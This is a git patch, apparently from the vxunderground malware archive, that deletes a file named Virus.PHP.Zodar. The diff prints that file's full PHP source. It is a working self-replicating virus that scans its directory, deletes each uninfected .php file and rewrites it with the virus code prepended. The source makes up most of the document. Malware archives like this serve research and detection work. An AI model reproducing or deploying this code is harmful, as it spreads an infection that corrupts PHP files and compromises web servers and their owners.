From eb18812e08324026680739fc60ee76c3408a17df Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Mon, 2 Nov 2020 23:57:54 -0600
Subject: [PATCH] Delete Virus.PHP.Zodar

---
 PHP/Virus.PHP.Zodar | 39 ---------------------------------------
 1 file changed, 39 deletions(-)
 delete mode 100644 PHP/Virus.PHP.Zodar

diff --git a/PHP/Virus.PHP.Zodar b/PHP/Virus.PHP.Zodar
deleted file mode 100644
index 4827af02..00000000
--- a/PHP/Virus.PHP.Zodar
+++ /dev/null
@@ -1,39 +0,0 @@
-<?php
-function zodar()
-{
-//[Zodar] by Negral
-//Created 03/05/2002
-$c = "";
-$f = fopen (__FILE__, "r");
-$c = fread ($f, filesize (__FILE__));
-fclose ($f);
-$c = substr($c,0,866);
-$handle=opendir('.');
-while (($file = readdir($handle))!==false) {
-if ($file != "." && $file != "..") 
- {
-$s = substr($file, -3);
-if ($s=="php") 
-   {
-	$g = fopen ($file, "r"); 
-	$cont = fread ($g,filesize ($file));      
-	fclose ($g);
-	if (!strstr($cont,"[Zodar]"))
-	{
-	unlink("$file");
-	$g = fopen ($file, "a+"); 
-	fwrite ($g,"$c");      	
-	fwrite ($g,"\n");
-	fwrite ($g,substr($cont,5));
-	fclose ($g);
-	}
-   }
-
- }
-
-}
-
-closedir($handle); 
-}
-zodar();
-?>
\ No newline at end of file